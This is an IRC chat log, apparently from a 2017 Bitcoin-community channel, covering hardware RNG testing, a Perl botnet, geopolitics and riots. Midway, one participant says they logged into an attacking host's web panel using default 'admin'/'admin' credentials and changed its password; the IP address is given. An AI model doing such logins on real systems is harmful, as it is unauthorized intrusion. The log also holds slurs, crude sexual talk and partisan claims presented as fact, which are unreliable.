"motherboard.vice.com/en_us/article/the-large-bitcoin-collider-is-generating-trillions-of-keys-and-breaking-into-wallets" or like http://btcbase.org/log/2017-04-14#1643409 or everything in between 1644162;1492277476;a111;Logged on 2017-04-14 02:23 asciilifeform: 'Mircea Popescu stole a large amount of BTC from BitBet.us prior to this...' << lol 1644163;1492277521;mircea_popescu;note, for extra lulz, that they are STILL "disagreeing" with "mp raped ethereum", no matter how well established that is. even as they are pushing the "mp stole from bitbet", no matter how ridoinculously unsupportable thart one is. why is this ? 1644164;1492277526;asciilifeform;it still doesn't explain why some frogs croak, others -- emit lolcats, but yet others -- faux phuctors 1644165;1492277546;mircea_popescu;for reasons of abhoring vacuum. the ethereum thing WAS ALREADY SAID, they can't count by saying it. the bitbet nonsense -- not so. 1644166;1492277564;mircea_popescu;it's what drives nubbins to nubbins, and all of these sad souls generally to wikipedia edit, quora answer etc. 1644167;1492277570;asciilifeform;( btw bbet still dead!1111 ) 1644168;1492277570;mircea_popescu;a strange sort of livresque existentialism. 1644169;1492277603;mircea_popescu;asciilifeform it needn't explain that. your physics dun explain why some K sits, some emits beta and some emits gamma. 1644170;1492277612;mircea_popescu;it's a random phenomenon, same root as brownian motion. 1644171;1492277614;asciilifeform;i thought nubbinsing was a more elementary 'there are no superior men! see, this one, he's a piece of shit just like me, i'll show how' 1644172;1492277623;mircea_popescu;plenty of them emit "sdflkgkljerytuio ewaoeru oi2ew" and the spellcheker turns that into words 1644173;1492277639;mircea_popescu;asciilifeform but that's a later reinterpretation of the fgundamental "gotta say unsaid things to exist" 1644174;1492277696;mircea_popescu;much like "the color red" is an ulterior construction on photon interaction 1644175;1492277697;asciilifeform;plenty of nubbinses seem to be quite all right not saying much of anything, but only sitting and metabolizing their mcfood 1644176;1492277704;asciilifeform;they don't show up on the radar tho. 1644177;1492277789;mircea_popescu;which goes to prove the point. no speech, no existence. 1644178;1492277796;mircea_popescu;because how would they ? physical existence is racist. 1644179;1492277836;asciilifeform;they exist, presumably, for the mcfood dispensaries, the riot cops, 'professionals who deal for a living with the stinking poor' per mircea_popescu's old article 1644180;1492278075;asciilifeform;to revisit upstack, it is fascinatingly easy to assemble ~voluntary~ arbitrary-code botnet 1644181;1492278093;asciilifeform;add basic flavouring, and idiots install your ???.exe 1644182;1492278100;asciilifeform;even will spend money to put it on better iron 1644183;1492278160;asciilifeform;http://wotpaste.cascadianhacker.com/pastes/Zg1MF/?raw=true << deobfuscated perl from subj. he loads arbitrary extensions via -- yes -- plain ftp 1644184;1492278232;asciilifeform;to 'verify' -- get this -- he periodically asks ~hash of the perl src~ -- because it Would Be Wrong!111 apparently, to write a proggy that sends the right hash but runs Wrong logic.. 1644185;1492278268;asciilifeform;the one thing that is quite opaque to asciilifeform -- does somebody's head ~actually~ work like this ? or is this elaborate parody/mockery 1644186;1492278901;asciilifeform;in other lulznoose, 'Pennslyvania Avenue in front of the White House and Lafayette Park have been evacuated.' 'suspicious object' 1644187;1492278909;ben_vulpes;little 'lisp os' doesn't have its own c compiler, author makes "transpiler": https://github.com/froggey/Iota 1644188;1492278945;asciilifeform;where's the 'os' ben_vulpes ? 1644189;1492278972;ben_vulpes;asciilifeform: pretty good reason to stay in florida 1644190;1492278974;asciilifeform;linked item is a llvm bytecode to cl translator ( undergrad homework ) 1644191;1492278978;ben_vulpes;asciilifeform: 'mezzano' 1644192;1492278991;doppler;they did a third demo recently 1644193;1492278991;asciilifeform;and why does it need to build llvm and clang ?! 1644194;1492279010;asciilifeform;what sort of 'lisp os' needs a massive c compiler ? 1644195;1492279035;asciilifeform;what is sdl graphics library (c) doing in there ? 1644196;1492279035;ben_vulpes;i am making very serious faces of 'no fucking idea' 1644197;1492279055;asciilifeform;what is 'This is a quick hack of Quake ported to the Simple DirectMedia Layer library' doing in there ? 1644198;1492279066;asciilifeform;how about doom1.wad (?!!) 1644199;1492279081;asciilifeform;did somebody just collect rubbish from old 1990s hdd and upload ?! 1644200;1492279143;asciilifeform;ok, looks like they are there so that 1) clang can build them to llvm bytecode 2) emulator then runs same. 1644201;1492279149;asciilifeform;still snoar. 1644202;1492279171;asciilifeform;what the fuck is the point of running a cl runtime so as to run llvm bytecode ? 1644203;1492279221;asciilifeform;'yay! we finally can haz opaque blobs of liquishit running in our cl proggies!11111' 1644204;1492279349;ben_vulpes;i'm halfway curious about the cl it poops out 1644205;1492279365;asciilifeform;what kind of surprise does ben_vulpes expect ? 1644206;1492279381;asciilifeform;you can transform bytecode liquishit to whatever language, fortran, basic, if you like 1644207;1492279385;asciilifeform;will look quite similar. 1644208;1492279389;mircea_popescu;asciilifeform all graduate heads work like that. 1644209;1492279400;asciilifeform;wtf is a graduate head 1644210;1492279407;mircea_popescu;this is what the piece of paper certifies. "person is to a large degree wilfully blind to sense to satisfy imperial conventions." 1644211;1492279419;mircea_popescu;asciilifeform anyone who has a college degree. 1644212;1492279438;asciilifeform;asciilifeform has degree. it is in a cardboard tube, in a broom closet, with mops, pans, old pcbs. 1644213;1492279451;mircea_popescu;yes, and every day of your life you are struggling against it. 1644214;1492279477;asciilifeform;lol 1644215;1492279495;asciilifeform;'i forgot moar maths than you ever learned, maggots' (tm)(r)(prof. b) 1644216;1492279565;mircea_popescu;lmao a doom wad. 1644217;1492279586;mircea_popescu;did i mention i am having a very excellent time reading trilema logs ? because i am. 1644218;1492280043;mircea_popescu;anyway, to round up the previous thread : do not imagine you can enact yourself through saying. that magic dun work here. 1644219;1492280141;asciilifeform;i went out to the swamp and tried to tell this to the frogs, the cicadas, dun seem to have worked. 1644220;1492280162;mircea_popescu;heh 1644221;1492280171;asciilifeform;brekekekex. 1644222;1492280196;mircea_popescu;i have this cicada on the wall sounding exactly like my fan is going out on the wind-up phase. 1644223;1492280208;mircea_popescu;got me like 3x during a week 1644224;1492280209;asciilifeform;i bet it goes great with the dying hdd bird 1644225;1492280215;mircea_popescu;insanity you know. 1644226;1492280236;asciilifeform;speaking of hdd, now is probably not bad time to load up on ssds, if you use'em in any qty. 1644227;1492280245;mircea_popescu;oversupplied huh 1644228;1492280247;asciilifeform;before the koreans burn. 1644229;1492280302;asciilifeform;a 300 $ ssd could easily turn into a 30,000 $ . 1644230;1492280326;mircea_popescu;i dunno if 30k, but 4-500 mebbe. 1644231;1492280338;mircea_popescu;happened recently didn't it. coupla years ago. 1644232;1492280357;asciilifeform;that was mechanical disks, when, iirc, taiwan flood 1644233;1492280362;mircea_popescu;yep 1644234;1492280379;asciilifeform;ssd landscape is far sadder, ~nobody but s. kr makes serious flash roms. 1644235;1492280381;asciilifeform;any moar. 1644236;1492280393;asciilifeform;~monopoly. 1644237;1492280408;asciilifeform;( you will see non-kr brand marks, but the internals are samsung ) 1644238;1492280867;asciilifeform;in other lulzies, http://www.loper-os.org/pub/bbet.jpg 1644239;1492280874;asciilifeform;^ 5min ago 1644240;1492280892;asciilifeform;didjaknow. 1644241;1492280898;asciilifeform;'BitBet is the premier Bitcoin casino, offering its players all of their favorite casino games like Blackjack, Roulette and Craps.' 1644242;1492281327;mircea_popescu;afaik that's ancient. 1644243;1492281355;asciilifeform;hm. 1644244;1492281375;asciilifeform;the actual bbet no longer appearing at all -- is afaik not ancient 1644245;1492281390;mircea_popescu;ah 1644246;1492281935;mircea_popescu;pretty sure if you go offline for 2-3 days google drops the listing 1644247;1492282318;asciilifeform;yeah 1644248;1492282638;asciilifeform;in other lulz, box from which ssh bruteforce all day, http://62.75.216.148 << shows live footage from... a church, and 0 text 1644249;1492282739;asciilifeform;and, http://62.75.216.148:8088 << 'admin' / 'admin' 1644250;1492282742;asciilifeform;logs you in. 1644251;1492282747;mircea_popescu;heh 1644252;1492282766;mircea_popescu;so what's w say 1644253;1492282796;asciilifeform;pw now 'trilema'. 1644254;1492282801;mircea_popescu;lol 1644255;1492282921;mircea_popescu;anyway, i expect whoever is trying to make botnet via ssh bruteforce uses these via whatever pore ; pw changhe won't do much. 1644256;1492282940;asciilifeform;didn't expect it would. 1644257;1492282954;asciilifeform;the interesting q is, which pore. 1644258;1492282984;mircea_popescu;you can prolly find it if you care to run a netstat or such 1644259;1492283005;asciilifeform;0 sportsmanship. 1644260;1492283016;mircea_popescu;the point of life is 0 sportsmanship. 1644261;1492283141;asciilifeform;meanwhile, 1644262;1492283159;asciilifeform;asciilifeform -- 'find granite beads' pet: 'found, on etsy' asciilifeform : 'buy' 1644263;1492283286;mircea_popescu;im sending the nuclear waste crew towards end of april ? 1644264;1492283322;mircea_popescu;"how to turn bed, bath and beyond into a reliable supplier of uranium pellets" by alf the beedog. 1644265;1492283345;mod6;heheh 1644266;1492283359;asciilifeform;the funny bit is, in usa you can generally buy, e.g., actual uranium oxide (not by the kg, but can buy, easier than, say, gunpowder.) but it'd be quite useless for ~mass~ rng. 1644267;1492283366;asciilifeform;because will get through no post office. 1644268;1492283399;mircea_popescu;it's so sad and unfortunate it's kcl and not say cocaine. 1644269;1492283484;asciilifeform;lol cocainerng 1644270;1492283494;mircea_popescu;you know ? 1644271;1492283510;mircea_popescu;"i'm only buying it for the articles!" 1644272;1492283521;asciilifeform;i imagine it'd be a bottle of cocaine and a toggle. you give cocaine to aficionado, then give him the toggle, to press. 1644273;1492283562;mircea_popescu;no i mean, it copuld be in sf world the case that cocaine has K in it and nothing else does or w/e such sane reason. 1644274;1492283569;asciilifeform;( incidentally -- FUCKGOATS worx ok (if very slowly) with toggles instead of analogue rng modules. ) 1644275;1492283603;asciilifeform;mircea_popescu: we almost live in that world -- tobacco is in some place so 'hot' that you can take 'autoradiograph' of it, plain old film, no xray lamp 1644276;1492283631;mircea_popescu;asciilifeform incidentally in the same vein : everyone's probably familiar with the electronic muscle contractors from forced orgasm / workout footage. but the equivalent item excists as detector not efectuator. put on girl, fuck her, voila. "this is the key of your passion, honey." 1644277;1492283647;asciilifeform;myograph 1644278;1492283649;asciilifeform;i have one here. 1644279;1492283651;mircea_popescu;aha 1644280;1492283656;asciilifeform;(doesn't everybody) 1644281;1492283663;mircea_popescu;depends. 1644282;1492283696;asciilifeform;definitely not a low-tech item tho, quite a bit moar complex than plain old analogue rng 1644283;1492283703;asciilifeform;point of toggle, is the simplicity 1644284;1492283721;mircea_popescu;i thought point here was to fuck around. 1644285;1492283742;asciilifeform;secondarily. 1644286;1492283753;mircea_popescu;and in other spuria, http://68.media.tumblr.com/be65019af60f45d5bf8612d8af5cc7b3/tumblr_n2dl4vcmgh1qmqccso1_1280.jpg 1644287;1492283796;asciilifeform;( the difference between 'fuck around' and r&d -- is that you oughta have some notion of what you're doing; and take notes. that way, directional, ratchet, rather than brownian walk.) 1644288;1492283809;mircea_popescu;aha 1644289;1492289819;mod6;mircea_popescu, asciilifeform, et. al.: My unboxing and testing of a randomly selected FG shipped to me: http://www.mod6.net/fg/fg-test/ 1644290;1492290393;mircea_popescu;8.000000 huh. 1644291;1492290455;mod6;aha 1644292;1492290469;mircea_popescu;lol the 4-5 places where dieharder reports weakness prolly need some review of dieharder code. anyone feel like emailing the maintainers ? 1644293;1492290475;mircea_popescu;mod6 epic business, nicelydone. 1644294;1492290486;mod6;thanks mircea_popescu 1644295;1492290751;diana_coman;I really enjoyed reading this account of unboxing and testing the FG; thank you, mod6 1644296;1492291029;mod6;diana_coman: thanks, yw! 1644297;1492292087;mod6;<+mircea_popescu> lol the 4-5 places where dieharder reports weakness prolly need some review of dieharder code. anyone feel like emailing the maintainers ? << I should note, I hope the pics of this arn't too misleading. if you like at the actual text output, there are only 2 'WEAK' tests, which are: 1644298;1492292092;mod6;# The file file_input_raw was rewound 118 times rgb_lagged_sum| 23| 1000000| 100|0.00063764| WEAK 1644299;1492292095;mod6;and 1644300;1492292103;mod6;# The file file_input_raw was rewound 194 times rgb_lagged_sum| 31| 1000000| 100|0.00000479| WEAK 1644301;1492292215;mod6;Ima run the dieharder again as `dieharder -a -g 201 -f fg.bin`, and see if I get the same results. 1644302;1492292447;mod6;So in total from the dieharder: 112 PASSED, 2 WEAK 1644303;1492292488;mircea_popescu;no idea why the rgb lagged sum should fail. would have to read the code. 1644304;1492292503;mod6;yah, same. 1644305;1492292512;mod6;i may dig into that more at some point here. 1644306;1492293778;mircea_popescu;meanwhile in "discorsi da letto", http://68.media.tumblr.com/3078d04a4dc0167dc34e287354199615/tumblr_odbop0GV6m1vvuoufo1_500.gif 1644307;1492293884;asciilifeform;mod6: certain % of the time, test 'weak' and , rarely, 'fail' ( simply means that author of dh decided that given result falls out of uniform distrib. range.) 1644308;1492293918;asciilifeform;NOW if it happens with all of the units in mod6 's parcel, and ~every~ run -- then problem. 1644309;1492293938;asciilifeform; /me not read mod6 's post yet 1644310;1492293999;mircea_popescu;yes but prolly this should be reviewed. 1644311;1492294072;asciilifeform;ftr no fg ships that reports a fail, or a 'weak' in any test consistently (2+ 1G runs.) 1644312;1492294167;asciilifeform;(reject pile has half dozen analogue boards in it, presently) 1644313;1492294199;asciilifeform;mod6: tested one unit only ? 1644314;1492294208;mod6;yeah, just one randomly selected unit. 1644315;1492294247;mod6;I re-ran the dh on the same fg.bin file (~1.2Gb) and the 'WEAK' tests were exactly the same ones, with exactly the same output values. 1644316;1492294260;mod6;The only entire difference in the two runs was the rands/second at the top. 1644317;1492294264;asciilifeform;on same file?! 1644318;1492294270;mod6;Yah, will show... 1644319;1492294275;asciilifeform;does 0!! 1644320;1492294283;asciilifeform;dh is deterministic 1644321;1492294289;asciilifeform;uses file as 'rng' 1644322;1492294293;asciilifeform;thinkaboutit 1644323;1492294309;mircea_popescu;yeah, same file same results. 1644324;1492294320;asciilifeform;same as if you ran ent twice 1644325;1492294353;mod6;http://p.bvulpes.com/pastes/Nch5g/?raw=true 1644326;1492294380;mod6;anyway, just wanted to be /sure/ that I wasn't getting some sort of varient test results from the dh. 1644327;1492294382;asciilifeform;mod6: see above 1644328;1492294409;mod6;got it. 1644329;1492294430;mod6;I'll test all of my other units in this same fashion too. 1644330;1492294436;asciilifeform;also i recommend to test every unit, aha 1644331;1492294450;asciilifeform;it takes, what, a day. 1644332;1492294493;mod6;apparently 157385 seconds 1644333;1492294494;asciilifeform;i tested in batches of 7. 1644334;1492294500;asciilifeform;bbl 1644335;1492294511;mod6;ok thx! 1644336;1492299407;BingoBoingo;!!up jhvh1` 1644337;1492299408;deedbot;jhvh1` voiced for 30 minutes. 1644338;1492299411;BingoBoingo;!~tslb 1644339;1492299412;jhvh1`;BingoBoingo: Time since last block: 4 minutes and 2 seconds 1644340;1492299421;BingoBoingo;!~bcstats 1644341;1492299422;jhvh1`;BingoBoingo: Current Blocks: 462057 | Current Difficulty: 5.20808749422E11 | Next Difficulty At Block: 463679 | Next Difficulty In: 1622 blocks | Next Difficulty In About: 1 week, 4 days, 6 hours, 40 minutes, and 32 seconds | Next Difficulty Estimate: None | Estimated Percent Change: None 1644342;1492301444;mircea_popescu;eh wtf. 1644343;1492312368;asciilifeform;at last. 1644344;1492313053;asciilifeform;incidentally i'd be curious to hear if anybody's ever seen a dieharder output on something that isn't a prng or prng-whitened trng, that consistently produced no 'weak'. 1644345;1492313075;asciilifeform;mircea_popescu, mod6 , et al ^ 1644346;1492313175;asciilifeform;( where do i even buy a provably nonwhitened trng ?! to compare to, i mean. i tried to buy such a thing, failed. not sold afaik for any amount. ) 1644347;1492313564;asciilifeform;and spiffy scope, mod6 1644348;1492313578;asciilifeform;( he has the next model after asciilifeform's , looks like ) 1644349;1492313883;mats;herro 1644350;1492313888;asciilifeform;ohai mats 1644351;1492313899;asciilifeform;how goes ? 1644352;1492313920;mats;carpal tunnel's a bitch 1644353;1492313964;asciilifeform;ugh 1644354;1492313977;asciilifeform;i assume tried the traditional cures, didn't help ? 1644355;1492313979;mats;https://www.tindie.com/products/WaywardGeek/infinite-noise-true-random-number-generator i have one of these and creator says whitening's built into the driver, so you could give that a shot or wait for me to do it 1644356;1492314002;mats;after recompiling driver 1644357;1492314041;asciilifeform;i'd much prefer to try a device that doesn't pick up voice of america 1644358;1492314057;asciilifeform;(linked item is wholly unshielded and has no digital/analogue plane separation at all) 1644359;1492314166;mats;ic. 1644360;1492314199;mats;i've tried sleeping supine, slathering bengay, eating ~800mg of ibuprofen, splints, setting 30min interval alarms when i needa type continuously for hours, and giving up computing after hours -- has helped 1644361;1492314210;asciilifeform;afaik only the last one worx 1644362;1492314213;mats;but it flares up now and again and i'm useless 1644363;1492314224;asciilifeform;dun have to be 'computing', but conventional keyboard - yes 1644364;1492314285;BingoBoingo;I don't see topical diclofenac on that list! 1644365;1492314288;mats;some things i've run into during my leave that i thought you folks might find a passing interest in: 1644366;1492314317;mats;https://www.microsoft.com/en-us/research/wp-content/uploads/2016/02/mules.pdf 1644367;1492314333;asciilifeform;( unrelatedly -- http://wotpaste.cascadianhacker.com/pastes/jtwkB/?raw=true << 1G of bytes from /dev/urandom on linux 4.2.3 . ) 1644368;1492314340;mats;https://github.com/koalaman/shellcheck static analysis for bash scripts 1644369;1492314358;mats;http://archive.is/ny36f some guy's compilation of pgp weirdness 1644370;1492314429;mats;http://www.flownet.com/gat/jpl-lisp.html i might've seen this here, not sure: 'rise and fall of Lisp at the Jet Propulsion Lab' 1644371;1492314437;asciilifeform;the 'pgp oddities' is in the logz, http://btcbase.org/log/2014-10-28#900083 1644372;1492314437;a111;Logged on 2014-10-28 12:42 jurov: sauce: http://www.angelfire.com/pr/pgpf/pgpoddities.html 1644373;1492314445;asciilifeform;ditto erran gatt's piece 1644374;1492314495;asciilifeform;https://github.com/koalaman/shellcheck 's recommendation of 'flycheck' is unconscionable : 1644375;1492314504;asciilifeform;!#s flycheck 1644376;1492314504;a111;58 results for "flycheck", http://btcbase.org/log-search?q=flycheck 1644377;1492314583;asciilifeform;the 'mules' piece i read, and wondered why it does not discuss the people actually fucked by cc fraud (vendors) and instead dwells on the people not-fucked-at-all (banks) 1644378;1492314611;asciilifeform;typically there is not a separated 'mule', e.g., 'amazon' is the mule. 1644379;1492314793;asciilifeform;but -- wb mats ! 1644380;1492314817;asciilifeform;mats: didja ever become a reverser like you wanted to ? 1644381;1492314819;mats;in a prior piece, the authors do mention the disproportionately large burden that small bidnesses have, as their losses aren't covered by 'Regulation E': https://www.microsoft.com/en-us/research/wp-content/uploads/2011/12/everythingYouKnow.pdf 1644382;1492314853;mats;asciilifeform: sadly no. still on the five year plan. 1644383;1492315307;mats;no updates re: esp8266, don't have time for it but i'll cough up the coin if someone wants to try a bulk purchase and play with one 1644384;1492315473;mats;BingoBoingo: any side effects i should know about, do you know if its effective with ulnar nerve entrapment 1644385;1492315547;BingoBoingo;mats: None I know about, and no specifics on that application. It will however allow for greater effective dosing than continuing 800 mg ibuprofen 1644386;1492315570;mats;the ibuprofen hasn't done shit for me besides give me heartburn 1644387;1492315823;mats;https://gregpytel.blogspot.co.uk/2009/04/largest-heist-in-history.html 'This blog demonstrates that ... the financial system was turned into a pyramid scheme in a technical, legal sense' 1644388;1492315869;mircea_popescu;such a novel idea. 1644389;1492316075;BingoBoingo;mats: Well that's why you ought to go topical 1644390;1492316140;deedbot;http://www.contravex.com/2017/04/15/once-upon-a-time-in-a-36-sigma-event-far-far-away/ << » Contravex: A blog by Pete Dushenski - Once upon a time, in a 36 sigma event far, far away… 1644391;1492316140;deedbot;http://qntra.net/2017/04/civil-unrest-continues-in-berkeley-antifa-terrorists-deploy-chemical-weapons/ << Qntra - Civil Unrest Continues in Berkeley – Antifa Terrorists Deploy Chemical Weapons 1644392;1492316158;mircea_popescu;is asad goin gto bomb berkley ? 1644393;1492316313;mircea_popescu;http://btcbase.org/log/2017-04-16#1644346 << item doesn't exist, no. 1644394;1492316313;a111;Logged on 2017-04-16 03:26 asciilifeform: ( where do i even buy a provably nonwhitened trng ?! to compare to, i mean. i tried to buy such a thing, failed. not sold afaik for any amount. ) 1644395;1492316431;mats;https://www.scribd.com/document/344995943/Report-by-White-House-Alleging-Proof-of-Syria-as-the-Perpetrator-of-the-Nerve-Agent-Attack-in-Khan-Shaykhun-on-April-4-2017 Prof. Ted Postol believes the current us administration is being manipulated by clever propaganda 1644396;1492316504;mircea_popescu;pretty much the consensus afaik. 1644397;1492316543;mircea_popescu;old man watching tv. 1644398;1492316556;BingoBoingo;Clearly Puntin needs to redirect Assad to this dire threat 1644399;1492316559;mats;same fella is also known for debunking an earlier attribution to assad for the 2013 damascus attack, disputing israeli claims as to 90% effectiveness of the iron dome (discussed here iirc), and pissing on the effectiveness of the patriot pac-2 system in 'desert storm' 1644400;1492316605;mircea_popescu;http://btcbase.org/log/2017-04-16#1644377 << because amateurs. 1644401;1492316605;a111;Logged on 2017-04-16 03:49 asciilifeform: the 'mules' piece i read, and wondered why it does not discuss the people actually fucked by cc fraud (vendors) and instead dwells on the people not-fucked-at-all (banks) 1644402;1492316635;mircea_popescu;mats or perhaps more properly put, "anti-known", in the sense the tards pretend not to know. 1644403;1492316685;mircea_popescu;somehow they're also insulated from the "isn't it strange, you seerm to know what you're ostensibly not knowing" problem. through wishing they were, because that works irl!!1 1644404;1492317104;mats;i suspect it was delivered with an artillery shell rather than a rocket dropped by su-22, american radar may be able to disprove this 1644405;1492317116;mats;but then why not publish this evidence? 1644406;1492317129;mircea_popescu;the syrian story is the rebels were stockpiling it and it broke out once bombed. 1644407;1492317168;mircea_popescu;this is rather likely true ; if it is by far the best strategy for the terrorist state involved is to publish nothing and yak loudly. 1644408;1492317203;mircea_popescu;it still enjoys a lot of support among ~300 million moral idiots without any sort of conscience. 1644409;1492317233;mats;https://www.bellingcat.com/news/mena/2017/04/05/khan-sheikhoun-chemical-attack-evidence-far/ a collection of osint on the subject 1644410;1492317352;BingoBoingo;The point that matters is that someone needs to make POTUS great again 1644411;1492317375;BingoBoingo;take the fucker's tv and put the old man on a strict diet of AM radio 1644412;1492317601;mircea_popescu;heh 1644413;1492317740;mats;i have been thinking usg destabilization of dprk is a great way to jam a fork in the party's eye 1644414;1492317756;mats;this month has been entertaining 1644415;1492317865;mats;(chinese communist party) 1644416;1492317977;mircea_popescu;maybe. 1644417;1492317987;mircea_popescu;usg has a lenghty history of monumentally inept intl politics 1644418;1492318000;mircea_popescu;honestly i'd rather trust a gaggle of ghana street urchins than us state to achieve anything. 1644419;1492318123;mats;there's footage suggesting massive .cn troop movements to the border 1644420;1492318128;BingoBoingo;Which is why Trump needs to listen to Rush Limbaugh like real Americans do on their drive home from work. 1644421;1492318148;mats;although this is consistent with specific brinksmanship events 1644422;1492318149;mircea_popescu;mats this is how the usg lost ukraine, iksn't it. 1644423;1492318168;mircea_popescu;if china decides to annex korea, both of them, who's gonna say anything ? 1644424;1492318182;mircea_popescu;the ny strip club/grill dba "un" ? 1644425;1492318215;mats;perhaps mr. trump will let a nuke off the chain 1644426;1492318264;mircea_popescu;nobody ever will. nukes are a unique item that a) doesn't work and b) everyone thinks it does. it's the exact equivalent of the "valuable inheritance". 1644427;1492318280;mircea_popescu;it ain't ever getting sold because it's more valuable as a tool to control the children than it'd ever fetch on the market. 1644428;1492318294;mats;what would the party want with dprk anyways, they'd be picking up the tab for an entire generation 1644429;1492318306;mircea_popescu;what'd anyone want with ukraina. 1644430;1492318316;mircea_popescu;i dunno, don't ask me, there's a reason i don't try to run a geostate. 1644431;1492318354;mats;i agree that its unlikely anyone will use a nuke and claim responsibility for it 1644432;1492318388;mircea_popescu;if anyone "uses" one there'll be auto-allocated responsibiolity. just like in the case of assad. 1644433;1492318401;mircea_popescu;according to everyone, everyone else dun it. 1644434;1492318418;mats;but the use of, say, one of those long-lost ussr suitcase nukes in uncertain circumstances, well... 1644435;1492318472;mats;great excuse to annex a wealthy neighbor experiencing a fictitious civil war, under the pretense of martial law 1644436;1492318475;mircea_popescu;eh amnd what's that gonna do. bl;ow up a parking lot ? 1644437;1492318483;mircea_popescu;mats indeed. 1644438;1492318494;mircea_popescu;hence the earlier comment re "buy ssds whole they still exist" 1644439;1492318504;mircea_popescu;not like china believes in free market in the sense of selling you anything but the dregs. 1644440;1492318513;mircea_popescu;you know, just like the usg wouldn't sell it anything but the dregs for a century. 1644441;1492318528;asciilifeform;http://btcbase.org/log/2017-04-16#1644428 << lizards are at war with the very concept of sovereignty. 1644442;1492318528;a111;Logged on 2017-04-16 04:51 mats: what would the party want with dprk anyways, they'd be picking up the tab for an entire generation 1644443;1492318546;mats;the border with dprk is enormous, how do you unfuck the refugee problem 1644444;1492318563;mats;guess you could put a couple divisions to work shooting people and digging holes... 1644445;1492318572;asciilifeform;which is why they've been trying to rm -rf northkr since '50s 1644446;1492318664;asciilifeform;it is currently the only nation ( and, yes, unlike, e.g., usa, it is a nation) with industry but no mcdonalds, no riaa, and no harvard sons. 1644447;1492318687;asciilifeform;total rejection of the lizard cathedral. 1644448;1492318755;asciilifeform;which is why their attempts to build cheap, effective usg navy erasers is painted as 'aggression' 1644449;1492318953;asciilifeform;http://btcbase.org/log/2016-11-01#1561581 << see also thread. 1644450;1492318953;a111;Logged on 2016-11-01 22:30 asciilifeform: but to appreciate it, you'd have to actually think re subj and not simply swallow south kr (usg) nonsense 1644451;1492319355;mircea_popescu;can't say i'm all too keen on the nation bullshit. 1644452;1492319370;mircea_popescu;from experience it always works out to "we'll link up to protect our stupidity in a group of idiots" 1644453;1492319703;mod6;<+asciilifeform> and spiffy scope, mod6 << thx! 1644454;1492319708;mats;some riot clips from today: when antifa tries to build a wall https://twitter.com/TEN_GOP/status/853357068149022721 leled at beer belly guy wearing a 'captain america'-themed t shirt 1644455;1492319758;mircea_popescu;i suppose the commie dorks forgot what all happened to the guys hitler's sa practiced on. 1644456;1492319769;mats;https://twitter.com/TEN_GOP/status/853369814353661953 what is wind 1644457;1492319846;mod6;<+asciilifeform> incidentally i'd be curious to hear if anybody's ever seen a dieharder output on something that isn't a prng or prng-whitened trng, that consistently produced no 'weak'. << werd. 1644458;1492319847;mats;the 'antifa' people are all out of shape compared to the other guys on scene 1644459;1492319870;mod6;i'll be testing the other ones and will report back how the ent/dh results look on each. 1644460;1492319871;mircea_popescu;doh. they're the fat whores. 1644461;1492319897;mats;http://www.theamericanmirror.com/video-trump-supporters-beaten-agitators-berkeley-rally 1644462;1492319921;mircea_popescu;cool deal. 1644463;1492319934;asciilifeform;mircea_popescu: i can't say i personally much relish nations, but the alternative seems to be 'atomized' people who are deculturated to the point of qualifying for simian cage in zoo, and crushed by megastate like insects when needed. 1644464;1492319961;asciilifeform;mod6: neato, i look forward to reading 1644465;1492320042;mod6;<+asciilifeform> NOW if it happens with all of the units in mod6 's parcel, and ~every~ run -- then problem. << this is key too. i'll perhaps collect another 1Gb+ a few more times from that initial first one and report back on the ent/dh results too. 1644466;1492320101;mod6;asciilifeform: werd. anyway, it's exciting to test these. 1644467;1492320102;mats;i look forward to watching riots in vr 1644468;1492320125;asciilifeform;mod6: it helps to recall, also, what 'dieharder' and similar tools are actually ~for~. 1644469;1492320228;asciilifeform;they will reliably find what one might call 'coarse errors in pilotage' of rng builder 1644470;1492320238;asciilifeform;(e.g., stuck bits) 1644471;1492320301;mircea_popescu;asciilifeform just because the ustard is a sad excuse for monkey nation does not imply we'll now accept the turd soup of "nations" does it ? 1644472;1492320340;mod6;i'd like to get more familiar with the types of statistical tests from `ent` and `dieharder`. 1644473;1492320405;asciilifeform;mircea_popescu: everyone i ever met who was worth knowing was a product (and typically escapee from) a healthy , traditional nation. not deculturated ???s, no. 1644474;1492320459;mircea_popescu;i'm certainly no product of a (wholly imaginary) romanian "nation". 1644475;1492320463;asciilifeform;mod6: most of'em are essentially montecarlos of various sorts, and result is judged by how close to 'expected' 1644476;1492320576;asciilifeform;mircea_popescu: says the d00d from whose www i learned enough ro to read , e.g., 'silver boar' hunt poem and 1,001 other cultural treasures from 'imaginary nation' 1644477;1492320604;mircea_popescu;if you're definition of a nation is a language then you're very much not talking of the same thing as in the case of best korea. 1644478;1492320618;mircea_popescu;2nd best korea uses same language. 1644479;1492320669;mod6;asciilifeform: aha. ok, just read about that on the `ent' page. mine was: Monte Carlo value for Pi is 3.141730891 (error 0.00 percent). 1644480;1492320675;asciilifeform;different кто ты по жизни jumper settings, however 1644481;1492320676;mod6;Looks pretty solid to me. 1644482;1492320722;mircea_popescu;anyway. i'm transylvanian if anything, which is an ethic group, if you must, and which has about as much to do with "romania" as say http://trilema.com/2013/the-greatest-accomplishments-of-the-french/#comment-92869 1644483;1492320742;mircea_popescu;there's certainly no such thing as "the ardeal nation" 1644484;1492320765;asciilifeform;mircea_popescu: this i can picture. 1644485;1492320787;asciilifeform;the 19th c. 'nationbuildings' were bogus, is obvious to blind man. 1644486;1492320801;mircea_popescu;and for that matter i don't recall you being much of a "nation of ukr" either. 1644487;1492320855;asciilifeform;i dun see appeal of inhabiting fictional nations any moar than mircea_popescu does. 1644488;1492320900;mircea_popescu;so then lettuce leave this 1800s hillarytardism rot in the 1800s. 1644489;1492320911;mircea_popescu;nations are for people too stupid to have been born this century. 1644490;1492320951;asciilifeform;they're the pilot light. 1644491;1492320980;asciilifeform;'healthy breeding cow pool that sometimes produces people' as old mircea_popescu article put it. 1644492;1492320992;mircea_popescu;im unconvinced. 1644493;1492321016;mircea_popescu;teach the girls to whore and the boys to die, that's all the nation you'll ever need or for that matter want. 1644494;1492321035;mircea_popescu;(note that this is also exactly THE OPPOSITE of what every "nation" aims or attempts) 1644495;1492321047;asciilifeform;usa was , at its root, a massive test of 'hey nations are bogus, nobody needs, let's all be Independent People Doing Own Thing' 1644496;1492321057;asciilifeform;massive failure. 1644497;1492321061;mircea_popescu;it worked while they worked it. 1644498;1492321088;asciilifeform;while folks from healthy old world came and worked it. 1644499;1492321100;mircea_popescu;once "doing independent thing" became watching tv (a subset thereof http://btcbase.org/log/2017-04-15#1643888 are -- they're exactly IDENTICAL to middle aged women, watching their favourite tv dramas)... 1644500;1492321100;a111;Logged on 